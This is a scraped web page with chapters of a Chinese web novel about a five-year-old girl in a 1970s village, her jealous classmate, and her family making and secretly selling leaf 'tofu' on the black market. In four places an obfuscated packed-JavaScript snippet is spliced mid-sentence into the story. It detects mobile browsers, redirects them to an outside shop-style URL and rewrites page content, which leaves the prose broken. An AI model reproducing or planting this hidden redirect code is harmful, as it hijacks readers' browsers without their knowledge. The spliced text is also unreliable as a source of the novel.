“宝儿,你这是给书穿上衣服了?” “这叫书皮,我娘给我包的,包上书皮后,再翻课本就不容易磨损和脏污了。”唐宝儿给他们解释道。 唐宝儿这话一出,不少人都羡慕了,唐宝儿的娘真好,还会帮她包书皮。 有爱惜书本的同学摸了摸自己的书本,“那你也教我们包书皮呗?我们也想保护书本。” 唐宝儿想了下,昨晚她是全程看着姚秋月包的,自己也学会了,当下便应道,“好啊,用废报纸、旧挂历、牛皮纸都可以。” 同学们便都围在唐宝儿的身边跟着她学包书皮了,高老师进来时,看到这个现象还特意表扬了大家。 “今天看到大家包书皮,老师对于大家对书本的爱惜都很感动,尤其是唐宝儿同学教其他同学包书皮,不厌其烦,态度很值得鼓励。” 吴春红听到高老师夸唐宝儿,忍不住翻了个白眼,不就是一个书皮吗? 吴春红看不上唐宝儿,自然也不稀罕跟着她学什么包书皮,谁知道下午便发生了一件事让她笑不出来了。 吴春红没回到家就闻到了肉麦饼的香气,急不可耐的把书包往炕上一扔,就往锅边凑,掂起一块肉麦饼往嘴里塞。 正要拿第二块的时候,手就被张兰花给拍掉了,“少吃点,这是给你爹烙的!眼看着农忙又要开始了!” 三岁的弟弟春生正是调皮玩闹的年纪,嘴里叼着一块肉麦饼,谁知道啪的一下,那嘴里的肉麦饼就掉到了吴春红的书包上。 那书包就是薄薄的一层布,把几本课本给装起来了,根本没办法隔离那肉麦饼的油渍。 吴春红看着课本上的一大片污渍,怎么擦也擦不掉,脸上都快要急哭了,“娘!” “吼什么?”张兰花叉着腰没好气的说道,“谁叫你随便就往炕上扔,自己不放好弄脏了怪谁?” 吴春红委屈得都快要哭出来了。 高老师有个习惯,她不会一直在讲台上站着讲课,很喜欢在教室里巡回讲,在路过吴春红旁边时,她正好看到吴春红书本上的油渍,忍不住皱紧了眉头,“吴春红同学,书是人类进步的阶梯,是带领我们驶向知识海洋的船帆,是我们人生的伴侣,爱惜书本是一项珍贵的美德,弄脏了书本不仅影响了美观,更直接的影响的就是我们的学习,以后要注意。” 吴春红看着书本上的油渍,欲哭无泪,早知道她也包个书皮了! 唐宝儿很快就适应了上学的日子,高老师担任一年级的班主任,同时兼带他们的语文和音乐,带算术的是一个姓胡的青年男老师,刚开始教他们一些简单的算术题,后面难度就上来了,不少同学都学得有些吃力。 胡老师给他们布置了一道应用题,“小红有16本故事书,比小芳多3本,比小明少两本。小芳和小明各有多少本故事书?” 在其他同学都还在埋头苦算的时候,吴春红已经率先举起了手,“老师,小芳有13本书,小明有18本书。” 胡老师眼里闪过一抹意外,忘了眼她空白的草稿纸,没想到这么复杂的数学题吴春红这孩子都已经能心算出来了,“对,吴春红同学算对了!大家给她鼓掌!” 热烈的掌声在班级内响起,吴春红看着唐宝儿的背影,忍不住骄傲的扬了扬下巴。 下课铃响,不少同学都围到了吴春红的周围,“吴春红,你可真厉害!你能教教我是怎么算出来的吗?” 有个女生还是一头雾水,“小红小芳小明这关系也太乱了,我怎么算出来的是错误的答案呢?” 吴春红看着她懵逼的模样,忍不住噗的一声笑出来,“脑子一转就算出来了,这都不会,我看你啊太笨了,不适合学算术!” 吴春红毫不留情的话无疑刺痛了女生的心。 成和看到唐宝儿草纸上写的答案,有些疑惑,“宝儿,你不是会吗?刚才怎么没起来回答问题?” 唐宝儿不习惯在这种时候出头露面,“我也不确定我的答案是不是正确的呀,万一回答错了多尴尬。” “那你能教我是怎么算出来的吗?”成和挠了挠头,其实他也没算出来,只是没好意思凑过去问吴春红。 “当然可以啊,成和哥哥。” 唐宝儿便翻开课本,给他讲了起来,“你别看一共有三个人物,其实只需要算出来小红和小芳,小红和小明,要记住一个规律,多就是加,少就是减……” 唐宝儿给他讲完了,才发现还有几个同学凑一块听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055407|149180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她讲的,最后看到得出的结果都茅塞顿开。 “唐宝儿,我还有另外一道题不会,你能告诉我是怎么算的吗?”说话的是他们后排的一个女生叫罗苗苗。 唐宝儿脸上带着笑容,“好啊。” 其实唐宝儿觉得这些题目都挺容易的,但是她却没表现出任何看不起同学的态度,而且经她一讲,原本大家感觉非常晦涩的算术题都变得简单明朗了起来。 唐宝儿本来就教大家包书皮,现在还这么有耐心的给大家讲算术题,很快就成了班级上人气最旺的学生。 吴春红见状忍不住冷笑了一声,假惺惺,就属她会收买人心! …… 在七十年代的农村,在这个娱乐活动匮乏的年代,露天电影,这种简单而又神奇的娱乐方式,就成了村民们期盼的消遣,随着日落西山,在田地里忙活了一整天的村民,会卸下沉重的农具,将满是泥土的篮子搁下,拖家带口的向村口临时搭建的银幕聚集。 唐宝儿已经洗过澡,乌黑柔软的头发披在肩头,白天穿的那套黄色绣绿萝的衣服已经被她换下来了,她现在穿着一套粉白格子的衣服,这套衣服是去年做的,去年穿着有些大了今年还算合身,粉粉糯糯的,看着就是个干净招人喜欢的小姑娘。 大人都站在后排,将前排让给孩子们,姚秋月跟着三嫂侯松梅站在后边唠嗑,唐宝儿就跟着成和在前面坐着小板凳看,至于成鸣他们这些大孩子坐不住,今天放的电影还是红灯记,这出电影他们已经不知道看了多少回了,早就不知道跑哪里去了。 “不好意思,没撞疼你吧?”成鸣在找了一圈没看到弟弟妹妹,一时没注意就撞上了一个人。 昏暗的银幕灯光下,吴春红忍不住睁大了眼睛,她当然知道眼前的人是谁! 唐成鸣是他们绿水村第一个考上大学的大学生,大学毕业后成功创业当了大老板,这可是他们整个县的名人!他对自己的那个便宜堂妹唐宝儿可真好,有什么好东西都想着她,吴春红除了嫉妒唐宝儿找了个好对象外,最嫉妒的就是她有唐成鸣这么个堂哥! “成鸣哥哥。”吴春红回忆了一下,她记得唐宝儿就是这样叫他。 “你认得我?”成鸣有些意外。 “对呀,我是唐成和还有唐宝儿的同学,你是不是要找他们?我带你过去吧。”吴春红刻意挤了挤嗓子,让自己的声音听起来更稚嫩纯甜。 “那就麻烦你了。”成鸣朗声道。 “成鸣哥哥,以后我可以经常去找你玩吗?”吴春红甜甜的问道。 “呃”成鸣心里想着他一个五年级的男生和一个刚上一年级的女生,八成玩不到一块去吧,但他还是点了点头,“好啊。” “成鸣哥哥!”唐宝儿、成和看到人,电影也不看了,忙凑了过来。 “这是你们班上的同学,是她带我过来的。”成鸣给他们介绍了下。 成和、唐宝儿都认得她,三人打了个招呼后,成鸣把他们两个叫到了一旁的空地里。 “成鸣哥哥,你怎么过来了?” “看这是什么?” 两个娃娃看到他手里的东西,忍不住瞪大了眼睛,“鸟蛋?” 成鸣各给了他们三颗鸟蛋,鸟蛋是沾上盐放在火里煨熟的,唐宝儿小心翼翼的将鸟蛋的外壳剥去了,塞进嘴里,蛋皮有点韧,鸟蛋的蛋黄吃起来特别香。 “好好吃。”唐宝儿幸福地眯了眯眼睛。 成鸣看见她这可爱模样,忍不住伸手摸了摸她脑袋,摸完又不好意思的缩回了手,幸好唐宝儿没注意到他的异样。 吴春红站在不远处隔着人群看向他们,忍不住捏紧了拳头。 凭什么所有好的东西都让她一个人占去了! 12. 第12章 看完电影,姚秋月就带闺女回去睡觉了,刚要躺下,就看见唐实一脸神秘的走了进来,“宝儿。” “爹!” “看爹爹给你带了什么好东西!”唐实还没有拿出来,唐宝儿敏锐的鼻子就已经闻到了一阵肉香,她使劲的嗅了嗅空气中的味道,“是烤鸡吗?” “真聪明!” 姚秋月笑吟吟地看着父女俩。 唐实将怀里的荷叶包拿出来,里边不是别的,正是两个油汪汪的大鸡腿!鲜香扑鼻,看着就馋人。 家里也有段时间没吃肉了,现在看见这鸡腿真是久旱逢甘霖。 唐宝儿忍不住睁大了眼睛,“爹,这是哪来的烤鸡啊?” “跟你方平叔在山里打的,一共两只,他拿了只瘦的把肥的留给我了。”陈方平是唐实从小一块长大的好哥们,但和唐实不一样,他们家就他一个儿子,所以供着他上了高中,又靠着门路安排他进了公社当文书。 往日里唐实借自行车都找他借,只要是唐实找他借,陈方平就没有不同意的。 唐实分别将两个鸡腿递给媳妇和闺女。 “爹爹,那你呢?”唐宝儿看着唐实。 闺女这是惦记着他呢,唐实心里乐融融的,便解释道,“刚烤熟的时候我已经把俩鸡翅都给吃了,剩下的鸡身子留着明天给奶奶他们加个菜。” 于是唐宝儿就开始痛快淋漓的吃这个鸡腿了,这鸡腿真的特别香,一口下去都是肉,里边还有汁水。 “好好吃!”唐宝儿幸福的眯起了眼睛,滑嫩的口感,唇齿留香,肉脂浸润整个口腔,恨不得连舌头都一块吞下了。 鸡腿特别大一个,吃得唐宝儿肚子饱饱的。 姚秋月借口晚上不想吃太多东西,就让唐实帮她把剩下的鸡皮和鸡肉吃了。 一家三口美美的加了个餐,才把手洗干净睡下了。 第二天做饭的是侯松梅,难得吃一回肉,她把烤鸡给剁成块,又加上土豆和白菜给炖了,这样不仅烤鸡好吃,炖出来的土豆和白菜就都有鸡味,吃起来带着鸡肉的鲜美。 鸡身上最好吃的部位就数鸡腿和鸡翅,唐家孩子多,往日里都是把鸡腿和鸡翅给一块剁成块了,谁吃着就算谁的,但林丹红翻了半天,也没找见鸡腿和鸡翅的影子。 她忍不住阴阳怪气道,“这鸡怎么没长鸡翅也没长鸡腿啊?怕不是吃剩了带回来的吧!” 唐宝儿正夹着一块鸡肉,听到这话心里还忍不住心虚了一下下。 林丹红这话让大家听着都觉得不舒服了,家里一般不逢年过节都不能轻易吃肉,人家老四大晚上跑到山里去打猎,好不容易带回来点野鸡让大家伙都能打打牙祭,你倒好还说是吃剩的。 “噢,我昨晚和方平一块去的,昨天就打着了一只野鸡,我寻思着鸡身子肉多点,就留了鸡身子,把鸡腿和鸡翅给方平了。”唐实扯起谎来眼睛都不眨,反正她也不可能去找陈方平对峙。 陈老太闻言,忍不住翻了个白眼,“有得肉吃你还嫌,实在不愿意吃就别吃了!” 眼见没人附和她,林丹红只好讪讪地坐下了。 午后静悄悄的,路边的小草都被晒得低下了头,吃过午饭后,唐宝儿一般会趴在桌子上眯一会,这样下午精神也会更足些。 吴春红盯着唐宝儿,唐宝儿的发量多,又长又密,这么好的头发一定是用心养出来的,姚秋月的手灵巧,编的发辫也和别人的不一样,带着长长的彩绳,垂在胸前,带着几分俏皮,特别漂亮扎眼。 再看自己,自然卷的头发枯黄,只是用两根红色的发绳拢了起来,看着一点都不漂亮不精致。 吴春红的目光怨毒,心里忍不住想,要是能拿把剪刀把唐宝儿给剔成癞子头就好了,看她还怎么编辫子! 唐宝儿要是成了癞子头,班里也不会有人和她玩了。 唐宝儿虽然睡着了,但也没进入深度睡眠的状态,总感觉有人在盯着自己,她刚抬头,吴春红怨毒的目光就撞进了她的眼睛里。 唐宝儿微微皱了下眉头,她爹唐实曾经在山里抓到过一条眼镜毒蛇,那条蛇的眼睛是三角形的很浑浊,闪着阴恻恻的光,不知道为什么,刚才吴春红的眼神就让她想起了那条眼睛毒蛇。 阴冷,怨毒。 唐宝儿心里生出一种怪异的感觉,吴春红的眼神一点也不像五六岁小孩会有的眼神。 这天,姚秋月被分配到玉米地里锄地,戴着顶草帽,她怕被晒黑,天气再热也要穿着长袖干活的,这也是她最后的坚持。 姚秋月在娘家时,家里有三个哥哥,地里的农活是从来不让她干的,她刚嫁到绿水村唐家时,唐实也不让她干农活,但姚秋月自己心里怄着一口气,既然已经嫁成了别人家的媳妇,旁的媳妇要干活,她怎么能搞例外呢。 想起来第一天干农活,重重的锄头抗在手里,手掌都给磨出血了,但她还是紧咬着牙一声不吭,事后唐实给姚秋月上药时,一个大男人都忍不住红了眼圈。 这几年过去,她做起农活已经越来越熟练了,手掌上已经结了厚厚的一层茧,干起农活来再也不会磨出血了。 大概锄了一个小时的地,姚秋月按了下累弯的腰,舔了舔干涸苍白的嘴唇,走到阴凉的树下,拿起水壶往嘴里灌。 咕咚咕咚喝了几口清凉的白开水,她才感觉舒服了不少。 刚想继续回去锄地,就看见丈夫唐实已经默不作声地扛起了锄头,替她锄剩下的地。 姚秋月忍不住抿了抿唇角,笑道,“你那边的地已经锄完了吗?” 唐实咧着一口白牙朝她笑,“锄完了,我想着快点锄完,也能早点过来帮你。” 姚秋月看唐实额头上都是汗水,忍不住上前用手帕替他揩了下,“瞧你这汗出的。” “喝口水。”她拿了水壶。 唐实并不伸手去接,只是扬了扬头,“媳妇你喂我喝。” “没个正经样。”姚秋月捶了他一下,但还是将水壶盖子打开了,将水喂到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055408|149180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他嘴边。 “真甜。”唐实忍不住喟叹道,刚抬头就看见了不远处朝他们跑过来的一道黄色的身影,“那是不是咱闺女?” “爹,娘!”唐宝儿远远的就看到了地里的唐实和姚秋月。 “你放学了!吃过饭没有?”姚秋月问,今天是周五,下午还有半天课。 “吃过了,吃了一个毛薯和一个窝窝头,那个毛薯可甜了。”唐宝儿将用叶子包着的野草莓递给爹娘,“这是我在山里摘的,爹娘你们尝尝。” 唐宝儿将叶子打开,里面大概有几十颗野草莓,红艳艳的,看起来特别新鲜水分特别足,姚秋月捻起一个尝了下,酸酸甜甜的,好吃。 “真甜!” 唐实一挑就挑着个酸的,酸得他睁不开眼睛,“宝儿,你这是要把你爹给酸死啊!” 姚秋月和唐宝儿听到这话,都忍不住笑了。 “上午上课学了什么?”姚秋月将唐宝儿晃到胸前的辫子给拨到身后去。 “上午上了音乐课,高老师教我们唱了首歌,叫《红星照我去战斗》,高老师还夸我唱得好听呢!”唐宝儿提起这个有些自豪,她的嗓音好听,像潺潺的流水一样清澈,唱起歌来也好听,而且一点都不跑调。 “我唱给你们听。”说着,唐宝儿清了清嗓子,就唱了起来,“小小竹排江中游,滔滔江水向东流,红星闪闪亮,照我去战斗……” 一首歌唱完,唐实和姚秋月都鼓起了掌,“咱宝儿真棒!” “宝儿,你这个野草莓是在山里摘的吗?”姚秋月捻起一片叶子,有些激动地问她。 “对啊。”唐宝儿不明所以。 “这个叶子是你在哪里摘的?” 姚秋月高中的时候,班上有个要好的朋友,那个朋友还邀请姚秋月到他们家里做过客,当时那个朋友的妈妈还特意做了一道树豆腐来招待姚秋月。 在姚秋月的印象中,豆腐都是用黄豆制作的,那是她第一次吃到用其他材料做的豆腐,她才知道原来用树叶子也能做豆腐。 当然并不是所有的树叶子都能制作豆腐,那个树叫“神仙树”,用它所做的豆腐也叫“神仙豆腐”。 夏季吃树豆腐,比起凉粉的口感还要更胜一筹,兑上一点儿红糖水,晶莹剔透似翡翠,非常的消暑。 朋友的妈妈看姚秋月感兴趣,还笑着给她看了用来做豆腐的神仙树叶子,记得那叶子有卵状、有椭圆状的,边缘还有疏锯齿和睫毛,正面是绿色的,而反面是灰绿色的。 姚秋月闻了闻唐宝儿摘的那叶子,还有股清香味,她没看错,这就是神仙树的叶子。 “叶子?”唐宝儿看着那叶子,没什么印象,“应该是摘野草莓的时候不小心混入进去的。” “你还记得是在哪里摘的野草莓吗?” 唐宝儿点一点头,“记得。” 姚秋月眨了眨眼睛,露出笑容来,“那你等下午放学了带娘到你摘野草莓的地方逛一圈,娘明天给你做好吃的!” 13. 第13章 下午唐宝儿放学后,姚秋月也下工了,母女俩背着镰刀和背篓上了山。 姚秋月跟着唐宝儿去了她摘野草莓的地方,果不其然看到了神仙树,也叫神仙槎,学名叫双翅六道木。 神仙树矮小纤细,一般只有二三尺高,树叶绿色有锯齿,散发出一股奇特的芳香气味,它的嫩叶富含果胶和氨基酸,果胶含量高是神仙树能制作“豆腐”的主要因素。 “宝儿,就是这个树,你帮娘一块摘,挑着厚实嫩绿的摘。”姚秋月说着,便自己动手先摘了起来。 唐宝儿有些不明所以,娘说要给她做好吃的,但这个树叶看起来跟好吃的丝毫不沾边,不过她向来听姚秋月的话,便解下背篓,按着她说的挑着厚实嫩绿的叶子摘了起来。 母女俩齐心协力,不一会儿就摘了满满两背篓,连枝带叶的很翠绿新鲜。 下山时,姚秋月又采了些野菜野草铺在背篓上面,让人以为他们只是上山采了野菜而已。 姚秋月母女俩回到了家,家里已经烧好晚饭了,母女俩跟着一起吃了晚饭,姚秋月才抽出时间来处理摘回来的神仙树叶子。 其实神仙豆腐制作过程并不难,把树叶子洗干净,放在木盆里,用搓衣板或者干净的石头上揉搓捣碎了,让树叶的汁液全部析出,加入适量清水,再用干净纱布过滤掉树叶渣子,就可以搁到一旁备用了。 “宝儿,帮娘去灶里抓一把草木灰。” “欸。”唐宝儿应了声,跑进厨房在灶里抓了一把干净的草木灰。 姚秋月把草木灰用纱布包住,拿了只干净的海碗,装半碗清水,将纱布包裹的草木灰放入其中来回搅动,等到海碗中清水变成了浑浊灰色的水,再用另一块干净的纱布过滤一次。 接下来就是最重要的一个步骤,把草木灰浸泡出来的水缓慢倒进神仙树的叶子汁中,在倒入草木灰水时,要一边倒水一边不停的沿着一个方向搅动,直到搅拌均匀后,姚秋月才停下了搅拌的动作。 “弟妹,这样就可以喝了吗?”侯松梅问。 姚秋月摇头,“等过一个小时再来看。” 其实姚秋月心里也没个准数,说到底她也是第一次做,不知道能不能成功。 说着,姚秋月就用一个簸箕将那一大盆加了石灰水的神仙树叶汁液给盖上了。 姚秋月拉着唐宝儿去洗了澡,又把衣服收拾着洗了,唐宝儿想着放学后要和姚秋月一起上山找神仙树,就趁着课余的时间把作业都给写了,可以安安心心的帮忙干活了。 姚秋月想起来去年过年的时候,她娘给她拿了二两的红糖,这个年代的红糖可是顶顶稀罕的物件,她喝了几回就没有再动过了,舍不得喝完,姚秋月在五斗橱翻了圈,果然在最底层发现剩下的红糖,用一个铁盒装着,虽然已经结成了块,但好歹没有发霉也没有虫子。 把这个红糖熬成糖水,在神仙豆腐里兑上一点,那味道吃着一定很惊喜。 这样想着,姚秋月便拿着红糖去厨房里熬了红糖水。 “娘,我闻到了糖的味道。”唐宝儿就像是姚秋月的牛皮糖,在哪里都爱黏着她。 “小馋猫,鼻子真灵。”姚秋月喂着宝儿喝了两口红糖水,“甜不甜?” “甜!”没有什么比糖水更让小孩子喜爱的了,唐宝儿眯了眯眼睛,“真好喝!” “树豆腐应该已经做好了,你去叫奶奶他们过来吃好吃的了。” 姚秋月将盖在神仙豆腐上的簸箕揭开,只见原本的青绿色的神仙树汁液已经凝结成了一块块翠绿色的豆腐,带着一股淡淡的清香,就像翡翠一样晶莹剔透。 “弟妹,这就是那树叶子做成的?”侯松梅不敢置信的问道。 刚才不就是一盆绿色的树汁吗?怎么就会变成了一块块瓷实的绿豆腐? “正是。” 姚秋月用菜刀把装在盆里的神仙豆腐划成几大行,再拿起来切成小块,放进碗里,然后将事先准备好的红糖水倒入碗中。 “娘,您尝尝。”姚秋月将第一碗端给了陈凤篱老太。 陈凤篱用勺子舀起一勺神仙豆腐,翡翠般的颜色、嫩滑般的口感,吃起来口感滑溜、感觉凉生生、软韧又有弹性,还有一种非常独特的清香。 这一口下去,感觉浑身的暑气都退散了。 “好吃!我活了几十年,第一次吃这样好吃的豆腐!”陈老太毫不吝啬的赞许道,“老四媳妇读过书的人就是不一样,竟然能想出这样的法子做这树豆腐,这可是我今年吃过的最好吃的东西,比起肉都好吃!” 众人看到陈老太这样一向口味挑剔的人都给出了这样的夸奖,都迫不及待的尝了尝,纷纷竖起大拇指。 “好吃!弟妹真是有一双巧手!” “就是这红糖太难弄到了,轻易吃不起这么好吃的东西啊,这么好吃的东西,只能吃上这一回太可惜了。” 姚秋月笑着给他们解释道,“其实这树豆腐吃咸口或者甜口都行,要是不用红糖水来兑着吃,添点辣椒水、酱油、咸菜碎也很好吃的。” 听到姚秋月的解释,大家才恍然大悟,顺便尝试了下咸口的吃法,加上盐和酱油,吃起来也是柔滑细润、凉爽可口。 姚秋月看到大家都这般稀罕这神仙豆腐,心里不由得冒出个想法来,“娘,你说把这神仙豆腐拿出去卖,会有人买吗?” “怎的不会!现下物资紧缺,这树豆腐又是这般美味的东西!” 陈老太话说完,忙让三媳妇侯松梅去关了门,再悄声问姚秋月,“你是打算将这树豆腐弄到那黑市上去卖?” 现在买什么都得要票,凭购粮证买粮、凭棉布票买布,有些人家因为子女较多,手头的粮票不够吃,就只能想办法再去别处买点粮食。有些人则因为手头缺钱,就将省吃俭用下来的粮食换几个零花钱。时下是不允许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055409|149180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公开买卖的,所有这些交易都只能暗地里进行,久而久之就产生了黑市。 “这树豆腐的做法是我跟一位婶子学来的,但应该有很多人没吃过,也不知道这树豆腐的做法,现在家里虽然每天都能吃些粗粮能吃饱,但钱真是半个钢镚也拿不出来了,总这样也不行,我想着能让家里几个孩子趁着放学,借着打猪草的名头去摘了神仙树的叶子回来,我跟两个嫂子趁着夜里做了树豆腐,第二天一早再让唐实到黑市上去卖,这样也能换点钱用。” 姚秋月的思路很清晰,听起来确实是一条可行的计划。 侯松梅和林丹红心里都各自有着盘算。 就像姚秋月说的,家里是半分钱也拿不出来了,没钱寸步难行,就算是她想给两个儿子添置上一支笔、一双袜子,都得掂量再掂量。 至于林丹红心里自然想的是小儿子成孝,成孝从小就被她娇惯坏了,这孩子不好好吃饭长得比同龄人瘦小,上了小学学起来又吃力,可把林丹红心疼坏了,有了钱她就能给儿子买营养品,还能买点好东西带回娘家,自打林巧红出嫁以来,每次回家娘家嫂子都含沙射影的,明显把她那回娘家打秋风的破落户了! 陈老太看两个儿媳妇都没异议,“那就按着秋月说的去办吧,但记住一点,千万不许跟外人提起来那树豆腐的做法,哪怕是娘家人你们也把嘴巴给闭紧严实了。要是真的卖出去换了钱,你们每人各拿二成,剩下四成放我这里,以备不时之需。” 妯娌几人听到这话都忍不住激动了,每年丰收之后,队里分的钱都是握在陈老太一个人手里,但这次卖神仙豆腐,陈老太竟然说要给他们每一房分二成? “行嘞,娘你放心,我啊一定把嘴给闭牢实了。”林丹红舔着笑脸道。 商定好了要卖神仙豆腐的计划,妯娌几个把那木盆碗罐给刷洗干净了,吹灭了灯,才回去歇着了。 姚秋月心里有种说不出的激动,她没想到陈老太会这么顺利就同意了她卖神仙豆腐的想法,想到这树豆腐卖出去就能换成钱了,还能分上二成,感觉这遥遥无期的日子也看到了些许奔头。 丈夫和闺女都已经睡着了,虽说闺女已经五岁了,但往日还是跟他们在一块睡的,姚秋月睡中间,唐实睡外边,唐宝儿睡里边。 唐宝儿已经洗过了澡,瓷白的小脸香香软软的,乌黑的长发就散在枕巾上,看起来又乖又软糯,姚秋月忍不住心生怜爱,俯身在她白白净净的脸庞上亲了一下。 只是她要躺下睡觉时,却被唐实一把搂进了怀里,男人漆黑的眸子里尽是藏不住的狡黠,“媳妇,你刚亲了闺女,你可得一视同仁啊!” 姚秋月被男人这突然而来的动作吓了一跳,忍不住捶了一下他的胸口,刚想骂他没个正型,嘴就被堵上了。 “唔”姚秋月忍不住闭上了眼睛,男人的吻吻波涛汹涌般袭来,灼热的手则不规矩的伸进了她雪白的领口。 14. 第14章 绿水村小学有一个铺了水泥地的篮球场,学生们年龄小,平日里也就是五年级的学生们,以及村里收工的青年们会来这里玩一阵。 正是中午,成鸣和几个五年级的学生在篮球场上玩篮球,看起来像是在打一场非正规的篮球赛。 成鸣的长相在一众灰扑扑的男生中十分出挑,他鼻梁高挺,肤色又不算黑,手长脚长的,这个年纪的男生大多不咋爱干净,但成鸣却穿着一件白T恤还能保持干净,这让他更加在人群中脱颖而出了。 甚至有不少女生还偷偷到球场上来看他,即便在她们这个年纪还不懂得什么叫喜欢。 “成鸣哥哥。”眼看着他们一场篮球赛打完了,吴秋红早拿了水杯在一旁等着了,甜甜的开口叫他。 “噢,是吴春红同学。”成鸣想起来那天看露天电影时她给自己带过路。 “你肯定口渴了吧?这是我的水杯,我在里边灌了凉白开,可甜了。”察觉到其他女生投在自己身上的羡慕的目光,吴秋红忍不住扬了扬身子,眉宇间透露着一丝得意。 成鸣确实有点口渴了,正好他今天没带水杯,“这不太好吧?我要是喝了你的水,那你自己怎么办呢?” “成鸣哥哥,我一点都不渴,你就喝我的水吧。” 成鸣擦了擦手,正要去接水,正巧看见了唐宝儿手里拿着个水杯,不是他的水杯又是谁的,忙向吴春红说了句抱歉,朝着唐宝儿的方向大步走了过去。 “宝儿!”成鸣的声音透着清澈爽朗。 唐宝儿将水杯递给他,脸上带着笑,“水杯里装的是熬的薏米水,三伯母叫我带来给你的,说你粗心大意的连水杯都忘记带了。” “太好了,我正口渴呢!”成鸣接过水杯昂头便大口的喝了下去,薏米水带着股薏米的清香,一口下去,感觉浑身的暑气都解了,身体也快速的补充了足够的水分。 成鸣想和她揽肩膀往教室里走,但想到自己手臂上有汗还是放弃了这个想法。 吴春红拿着水杯站在原地,察觉到众女生落在她脸上奚落的目光,内心怨恨的咬了咬牙,忍不住狠狠地跺了下脚。 第三天一大早,天蒙蒙亮,唐实就背上那装满了树豆腐的大背篓出门了,昨天夜里家里三个媳妇在院子里赶着月色满满做了四大盆,估计得有四五十斤,在背篓底下铺上了厚厚的荷叶和白色的单层纱布,唐实怕背篓给压坏了,还特意用藤条和细柳给加固了一遍。 除了用来卖的树豆腐外,姚秋月还摘了些大的荷叶,十几片箬竹叶,找了两个竹筒洗干净,一个装了一点糖水,另一个装了辣椒水,边角料切成小块包起来,这些可以用来给买家试吃。 黑市的交易时间不固定,一般抓得不严就是五天一集,他往日里也会偷偷打一些猎物到黑市上交易,所以对这边的门道也算了解。 唐实怕招村里人注意,月亮还没下山就出门了,趁着月色走了十几里的山路,到黑市的交易地点时,太阳已经升起来了,唐实找了个地方将树豆腐给解下来,毕竟背着几十斤的东西,就算垫着碎步头子,还是勒出了好几道痕。 唐实拿出水壶灌了口温开水,先啃了两个干粮垫肚子。 随着日头的升起,黑市上有开始有其他人过来了,有卖各种票证的,也有卖粮食和肉的,粮食大多都是精粮,那可是好东西,卖蔬菜瓜果的也有,都悄没声息的。 唐实心里也没底,不确定这神仙豆腐到底能不能卖出去。 不过他们这做的神仙豆腐除了人力,再搭上点糖水也没啥成本了,卖不出去大不了就再背回去。 一个看起来像是在机关上班的中年男人在唐实面前停下了脚步,“你这卖的是什么?” “大哥,这是我家里做的神仙豆腐,吃甜口的您就兑上点糖水,吃咸口的您就加点辣椒、酱油和盐拌上一拌,那口感滑溜溜、凉生生的,给肉也不换!不信您尝尝!”唐实说着,就麻溜的从背篓里扯出一片箬竹叶,卷成一个小碗的样式,盛了一小块的神仙豆腐,兑上点糖水递给那个中年男人。 这种箬竹叶的叶片肥大,韧性好容易折叠,还有股淡淡的香气,用来做试吃的容器正合适。 那中年男人本来只是随口一问,没想到还有试吃,当下就来了兴趣,接过那神仙豆腐尝了尝,果然柔滑细润、一片凉爽,兑上点糖水,甜滋滋的,感觉能美到心坎去。 “你这神仙豆腐怎么卖?” “大哥,这神仙豆腐一毛二一斤。”这价钱是姚秋月定的,时下菜市里的豆腐按价是一分钱一斤,但黑市买卖向来比供应的价格贵,所以他们定这个价钱也算是正常价格。 中年男人盘算了下,“成,那你给我来两斤吧。” “好嘞。”唐实用竹挑子挑了两块碧绿瓷实的神仙豆腐,这一块就正好是一斤,看着都够一家六口人做一盘菜了,用荷叶包好了,再捆上细麻绳递给那顾客。 那中年男人也很爽快的付了两毛四分钱,唐实没想到第一笔生意就这样顺利的完成了,心里激动得不行,但面上还是装出一副稳定的模样。 “小哥,给我也来一份试吃的。”这是一个包着发网的年轻女人,刚才那个男人在旁边试吃的过程她就在旁边看着。 唐实热情的招呼,熟练的往那神仙豆腐里兑上糖水,“好嘞,您尝尝。” 翡翠般的颜色、嫩滑般的口感,还有股独特的清香,那年轻女人忍不住点头,“味道确实不错啊,我家三口人,你给我来上一块吧,我带回去给孩子们尝尝。” “行,您接稳当了,我下次还在这里卖神仙豆腐,想吃您就还来。” 另一个驻足观望的顾客道,“给我也来两斤!” “我要一斤!” “还有试吃不?” “有有有!” 大概一个半小时,唐实背到黑市 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 